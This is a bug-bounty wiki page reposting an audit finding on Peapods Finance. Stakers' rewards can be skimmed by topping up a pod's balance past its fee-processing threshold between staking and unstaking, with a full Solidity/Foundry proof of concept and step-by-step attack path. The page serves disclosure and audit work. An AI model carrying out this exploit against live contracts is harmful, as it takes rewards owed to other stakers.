The attacker can steal rewards from spTKNs because they can influence the fee processing by making a direct token transfer to the pod when the fees are below the minimum
Fees collected in a pod are only swapped into staking rewards once they pass a minimum threshold, and that threshold is measured from the pod's own token balance, which anyone can top up with a direct transfer. An attacker could stake just before pushing the balance over the minimum, then unstake in the same transaction to claim a share of rewards they did not earn, potentially amplified with a flash loan.
Source: https://github.com/sherlock-audit/2025-01-peapods-finance-judging/issues/286
Found by
Schnilch, X77, pkqs90
Summary
Fees in a pod are only swapped to rewards once a minimum threshold is exceeded. This allows an attacker to stake in a transaction while no fees are processed as rewards because they are still below the minimum. Then, they can send a few pTKNs as fees to the pod to push the balance above the minimum and subsequently unstake to receive a portion of the rewards. Since all of this is possible in a single transaction, the attacker can also use a flash loan to steal more rewards. Important with a flash loan is that the attacker cannot use flashMint, because during this process, the staking of spTKNs is reverted. This means they have to take a flash loan of the underlying token of the pool and then bond it.
Root Cause
In _processPreSwapFeesAndSwap in DecentralizedIndex, fees are swapped to rewards once the fees exceed a minimum threshold:
https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L193-L211
These rewards are then sent to TokenRewards and will be distributed to spTKN stakers. An attacker can exploit that _bal can be manipulated through a direct token transfer. An attacker could, if _bal is just below the minimum, stake, then push the fees to the minimum, and then unstake to make rewards in a single transaction.
Internal Pre-conditions
- The balance must be just below the minimum so that it is profitable for the attacker to supply the remaining pTKNs as fees
External Pre-conditions
- It should be enough tokens in the Uniswap pool so that the minimum is not too low and the attacker can make a profit
Attack Path
- It is assumed that fees are below the minimum in the pod
- An attacker sees this and takes a flash loan, then bonds it
- The attacker adds the received pTKNs as liquidity and receives LP tokens
- He then stakes these LP tokens in spTKN. Here, the rewards cannot be processed because they are just below the minimum
- The attacker sends a few pTKNs into the pod so that the balance is above the minimum
- He unstakes the spTKNs again, where the fees can be processed this time, and the attacker receives a portion of the rewards
- Then he removes the liquidity, debonds, and repays the flash loan
Impact
An attacker can steal rewards through a flash loan, and the users receive too little of the rewards.
PoC
- To execute the POC, a
POC.t.solfile should be created incontracts/test/POC.t.sol. - The following code should be inserted into the file:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import {console} from "forge-std/console.sol";
// forge
import {Test} from "forge-std/Test.sol";
// PEAS
import {PEAS} from "../../contracts/PEAS.sol";
import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
import {IndexUtils} from "../../contracts/IndexUtils.sol";
import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
import {IndexUtils} from "../contracts/IndexUtils.sol";
import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
import {TokenRewards} from "../../contracts/TokenRewards.sol";
// oracles
import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
// protocol fees
import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
// autocompounding
import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
// lvf
import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
// fraxlend
import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
// flash
import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
// uniswap-v2-core
import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
// uniswap-v2-periphery
import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
// uniswap-v3-core
import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
// uniswap-v3-periphery
import {SwapRouter02} from "swap-router/SwapRouter02.sol";
import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
// mocks
import {WETH9} from "./invariant/mocks/WETH.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./invariant/mocks/MockERC20.sol";
import {TestERC20} from "./invariant/mocks/TestERC20.sol";
import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
import {PodHelperTest} from "./helpers/PodHelper.t.sol";
contract AuditTests is PodHelperTest {
address alice = vm.addr(uint256(keccak256("alice")));
address bob = vm.addr(uint256(keccak256("bob")));
address charlie = vm.addr(uint256(keccak256("charlie")));
uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
// fraxlend protocol actors
address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
address internal timelock = vm.addr(uint256(keccak256("comptroller")));
uint16 internal fee = 100;
uint256 internal PRECISION = 10 ** 27;
uint256 donatedAmount;
uint256 lavDeposits;
/*///////////////////////////////////////////////////////////////
TEST CONTRACTS
///////////////////////////////////////////////////////////////*/
PEAS internal _peas;
MockV3TwapUtilities internal _twapUtils;
UniswapDexAdapter internal _dexAdapter;
LendingAssetVault internal _lendingAssetVault;
LendingAssetVault internal _lendingAssetVault2;
RewardsWhitelist internal _rewardsWhitelist;
// oracles
V2ReservesUniswap internal _v2Res;
ChainlinkSinglePriceOracle internal _clOracle;
UniswapV3SinglePriceOracle internal _uniOracle;
DIAOracleV2SinglePriceOracle internal _diaOracle;
aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
// protocol fees
ProtocolFees internal _protocolFees;
ProtocolFeeRouter internal _protocolFeeRouter;
// pods
WeightedIndex internal _pod1Peas;
// index utils
IndexUtils internal _indexUtils;
// autocompounding
AutoCompoundingPodLpFactory internal _aspTKNFactory;
AutoCompoundingPodLp internal _aspTKN1Peas;
address internal _aspTKN1PeasAddress;
// lvf
LeverageManager internal _leverageManager;
// fraxlend
FraxlendPairDeployer internal _fraxDeployer;
FraxlendWhitelist internal _fraxWhitelist;
FraxlendPairRegistry internal _fraxRegistry;
VariableInterestRate internal _variableInterestRate;
FraxlendPair internal _fraxLPToken1Peas;
// flash
UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
// mocks
MockUniV3Minter internal _uniV3Minter;
MockERC20 internal _mockDai;
WETH9 internal _weth;
MockERC20 internal _tokenA;
MockERC20 internal _tokenB;
MockERC20 internal _tokenC;
// uniswap-v2-core
UniswapV2Factory internal _uniV2Factory;
UniswapV2Pair internal _uniV2Pool;
// uniswap-v2-periphery
UniswapV2Router02 internal _v2SwapRouter;
// uniswap-v3-core
UniswapV3Factory internal _uniV3Factory;
UniswapV3Pool internal _v3peasDaiPool;
UniswapV3Pool internal _v3peasDaiFlash;
// uniswap-v3-periphery
SwapRouter02 internal _v3SwapRouter;
function setUp() public override {
super.setUp();
_deployUniV3Minter();
_deployWETH();
_deployTokens();
_deployPEAS();
_deployUniV2();
_deployUniV3();
_deployProtocolFees();
_deployRewardsWhitelist();
_deployTwapUtils();
_deployDexAdapter();
_deployIndexUtils();
_deployWeightedIndexes();
_deployAutoCompoundingPodLpFactory();
_getAutoCompoundingPodLpAddresses();
_deployAspTKNOracles();
_deployAspTKNs();
_deployVariableInterestRate();
_deployFraxWhitelist();
_deployFraxPairRegistry();
_deployFraxPairDeployer();
_deployFraxPairs();
_deployLendingAssetVault();
_deployLeverageManager();
_deployFlashSources();
_mockDai.mint(alice, 1_000_000 ether);
_mockDai.mint(bob, 1_000_000 ether);
_mockDai.mint(charlie, 1_000_000 ether);
_peas.transfer(alice, 100_000 ether);
_peas.transfer(bob, 100_000 ether);
_peas.transfer(charlie, 100_000 ether);
}
function _deployUniV3Minter() internal {
_uniV3Minter = new MockUniV3Minter();
}
function _deployWETH() internal {
_weth = new WETH9();
vm.deal(address(this), 1_000_000 ether);
_weth.deposit{value: 1_000_000 ether}();
vm.deal(address(_uniV3Minter), 2_000_000 ether);
vm.prank(address(_uniV3Minter));
_weth.deposit{value: 2_000_000 ether}();
}
function _deployTokens() internal {
_mockDai = new MockERC20();
_tokenA = new MockERC20();
_tokenB = new MockERC20();
_tokenC = new MockERC20();
_mockDai.initialize("MockDAI", "mDAI", 18);
_tokenA.initialize("TokenA", "TA", 18);
_tokenB.initialize("TokenB", "TB", 18);
_tokenC.initialize("TokenC", "TC", 18);
_tokenA.mint(address(this), 1_000_000 ether);
_tokenB.mint(address(this), 1_000_000 ether);
_tokenC.mint(address(this), 1_000_000 ether);
_mockDai.mint(address(this), 1_000_000 ether);
_tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
_tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
_tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
_mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
_tokenA.mint(alice, 1_000_000 ether);
_tokenB.mint(alice, 1_000_000 ether);
_tokenC.mint(alice, 1_000_000 ether);
_mockDai.mint(alice, 1_000_000 ether);
_tokenA.mint(bob, 1_000_000 ether);
_tokenB.mint(bob, 1_000_000 ether);
_tokenC.mint(bob, 1_000_000 ether);
_mockDai.mint(bob, 1_000_000 ether);
_tokenA.mint(charlie, 1_000_000 ether);
_tokenB.mint(charlie, 1_000_000 ether);
_tokenC.mint(charlie, 1_000_000 ether);
_mockDai.mint(charlie, 1_000_000 ether);
}
function _deployPEAS() internal {
_peas = new PEAS("Peapods", "PEAS");
_peas.transfer(address(_uniV3Minter), 2_000_000 ether);
}
function _deployUniV2() internal {
_uniV2Factory = new UniswapV2Factory(address(this));
_v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
}
function _deployUniV3() internal {
_uniV3Factory = new UniswapV3Factory();
_v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
_v3peasDaiPool.initialize(1 << 96);
_v3peasDaiPool.increaseObservationCardinalityNext(600);
_uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
_v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
_v3peasDaiFlash.initialize(1 << 96);
_v3peasDaiFlash.increaseObservationCardinalityNext(600);
_uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
_v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
}
function _deployProtocolFees() internal {
_protocolFees = new ProtocolFees();
_protocolFees.setYieldAdmin(500);
_protocolFees.setYieldBurn(500);
_protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
bytes memory code = address(_protocolFeeRouter).code;
vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
_protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
vm.prank(_protocolFeeRouter.owner());
_protocolFeeRouter.transferOwnership(address(this));
_protocolFeeRouter.setProtocolFees(_protocolFees);
}
function _deployRewardsWhitelist() internal {
_rewardsWhitelist = new RewardsWhitelist();
bytes memory code = address(_rewardsWhitelist).code;
vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
_rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
vm.prank(_rewardsWhitelist.owner());
_rewardsWhitelist.transferOwnership(address(this));
_rewardsWhitelist.toggleRewardsToken(address(_peas), true);
}
function _deployTwapUtils() internal {
_twapUtils = new MockV3TwapUtilities();
bytes memory code = address(_twapUtils).code;
vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
_twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
}
function _deployDexAdapter() internal {
_dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
}
function _deployIndexUtils() internal {
_indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
}
function _deployWeightedIndexes() internal {
IDecentralizedIndex.Config memory _c;
IDecentralizedIndex.Fees memory _f;
_f.bond = 300;
_f.debond = 300;
_f.burn = 500;
_f.buy = 200;
// POD1 (Peas)
address[] memory _t1 = new address[](1);
_t1[0] = address(_peas);
uint256[] memory _w1 = new uint256[](1);
_w1[0] = 100;
address __pod1Peas = _createPod(
"Peas Pod",
"pPeas",
_c,
_f,
_t1,
_w1,
address(0),
false,
abi.encode(
address(_mockDai),
address(_peas),
address(_mockDai),
address(_protocolFeeRouter),
address(_rewardsWhitelist),
address(_twapUtils),
address(_dexAdapter)
)
);
_pod1Peas = WeightedIndex(payable(__pod1Peas));
_peas.approve(address(_pod1Peas), 100_000 ether);
_mockDai.approve(address(_pod1Peas), 100_000 ether);
_pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
_pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
}
function _deployAutoCompoundingPodLpFactory() internal {
_aspTKNFactory = new AutoCompoundingPodLpFactory();
}
function _getAutoCompoundingPodLpAddresses() internal {
_aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
"Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
);
}
function _deployAspTKNOracles() internal {
_v2Res = new V2ReservesUniswap();
_clOracle = new ChainlinkSinglePriceOracle(address(0));
_uniOracle = new UniswapV3SinglePriceOracle(address(0));
_diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
_aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
address(_aspTKN1PeasAddress),
abi.encode(
address(_clOracle),
address(_uniOracle),
address(_diaOracle),
address(_mockDai),
false,
false,
_pod1Peas.lpStakingPool(),
address(_v3peasDaiPool)
),
abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
);
}
function _deployAspTKNs() internal {
//POD 1
address _lpPeas = _pod1Peas.lpStakingPool();
address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
IERC20(_stakingPeas).approve(_lpPeas, 1000);
StakingPoolToken(_lpPeas).stake(address(this), 1000);
IERC20(_lpPeas).approve(address(_aspTKNFactory), 1000);
_aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
_aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
}
function _deployVariableInterestRate() internal {
_variableInterestRate = new VariableInterestRate(
"[0.5 [email protected] 5-10k] 2 days (.75-.85)",
87500,
200000000000000000,
75000,
85000,
158247046,
1582470460,
3164940920000,
172800
);
}
function _deployFraxWhitelist() internal {
_fraxWhitelist = new FraxlendWhitelist();
}
function _deployFraxPairRegistry() internal {
address[] memory _initialDeployers = new address[](0);
_fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
}
function _deployFraxPairDeployer() internal {
ConstructorParams memory _params =
ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
_fraxDeployer = new FraxlendPairDeployer(_params);
_fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
address[] memory _whitelistDeployer = new address[](1);
_whitelistDeployer[0] = address(this);
_fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
address[] memory _registryDeployer = new address[](1);
_registryDeployer[0] = address(_fraxDeployer);
_fraxRegistry.setDeployers(_registryDeployer, true);
}
function _deployFraxPairs() internal {
vm.warp(block.timestamp + 1 days);
_fraxLPToken1Peas = FraxlendPair(
_fraxDeployer.deploy(
abi.encode(
_pod1Peas.PAIRED_LP_TOKEN(), // asset
_aspTKN1PeasAddress, // collateral
address(_aspTKNMinOracle1Peas), //oracle
5000, // maxOracleDeviation
address(_variableInterestRate), //rateContract
1000, //fullUtilizationRate
75000, // maxLtv
10000, // uint256 _cleanLiquidationFee
9000, // uint256 _dirtyLiquidationFee
2000 //uint256 _protocolLiquidationFee
)
)
);
}
function _deployLendingAssetVault() internal {
_lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
_lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
address[] memory _vaults = new address[](1);
_vaults[0] = address(_fraxLPToken1Peas);
uint256[] memory _allocations = new uint256[](1);
_allocations[0] = 100_000e18;
_lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
vm.prank(timelock);
_fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
}
function _deployLeverageManager() internal {
_leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
_leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
}
function _deployFlashSources() internal {
_uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
_leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
}
function testPoc5() public {
UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());
vm.startPrank(alice);
console.log("\n====== Alice bonds 100 PEAS ======");
_peas.approve(address(_pod1Peas), 100e18);
_pod1Peas.bond(address(_peas), 100e18, 0);
console.log("\n====== Alice adds 90 liquidity ======");
_mockDai.approve(address(_pod1Peas), 90e18);
_pod1Peas.addLiquidityV2(
90e18,
90e18,
1000,
block.timestamp
); //Alice is the attacker, so she needs a few LP tokens that she can stake later
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
vm.startPrank(bob);
console.log("\n====== Bob bonds 3300 PEAS ======");
_peas.approve(address(_pod1Peas), 3300e18);
_pod1Peas.bond(address(_peas), 3300e18, 0); //Bob bonds so that a few fees are generated, which stay in the pod and are later swapped as rewards
vm.stopPrank();
console.log("min: ", _pod1Peas.balanceOf(address(_v2Pool)) / 1000);
console.log("balance _pod1Peas: ", _pod1Peas.balanceOf(address(_pod1Peas))); //Here you can see that the fees cannot yet be swapped to rewards because the collected fees have not yet reached the minimum required
vm.startPrank(alice);
console.log("\n====== Alice stakes 90 lp ======");
_v2Pool.approve(address(_spTKN), 90e18);
_spTKN.stake(alice, 90e18); //Since there are still too few fees in the contract, they cannot be processed
console.log("\n====== Alice fills rewards in order to distribute them ======");
_pod1Peas.transfer(address(_pod1Peas), 4e18); //Alice sends a few pTKNs as fees to reach the minimum
console.log("\n====== Alice unstakes 90e18 spTKNs ======");
console.log("alice peas balance before: ", _peas.balanceOf(alice));
_spTKN.unstake(90e18); //During unstaking, the fees can be processed, and the rewards are distributed too late, which leads to Alice receiving rewards that she shouldn’t have gotten
console.log("alice peas balance after: ", _peas.balanceOf(alice));
vm.stopPrank();
}
}
- The POC can then be started with
forge test --mt testPoc -vv --fork-url <FORK_URL>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the reward-processing threshold is derived from a token balance that any external party can increase by a direct transfer, so the timing of reward distribution can be controlled by the attacker.
Impact
An attacker could take rewards that should go to existing stakers, so those users receive less than they are owed; the text notes the attacker cannot use flashMint for this because staking is reverted during that process.
What the attacker needed
Fees just below the minimum threshold; enough liquidity in the Uniswap pool; flash loan of the underlying token; all steps in one transaction
How it was found
- Wait until the pod's collected fees sit just below the minimum threshold
- Take a flash loan of the pool's underlying token and bond it into the pod
- Add the received pod tokens as liquidity to get LP tokens
- Stake the LP tokens in the staking pool while rewards cannot yet be processed
- Send a small amount of pod tokens directly to the pod to push the balance over the minimum
- Unstake to trigger reward processing and receive a share, then remove liquidity, debond and repay the loan
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A pod gathers small fees and only turns them into rewards for stakers once enough has built up. The check looks at how many pod tokens the contract holds, and anyone can send tokens to a contract to raise that number. So a person can join the staking group at the last moment, nudge the balance over the line, and take a cut of rewards meant for long-term stakers.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.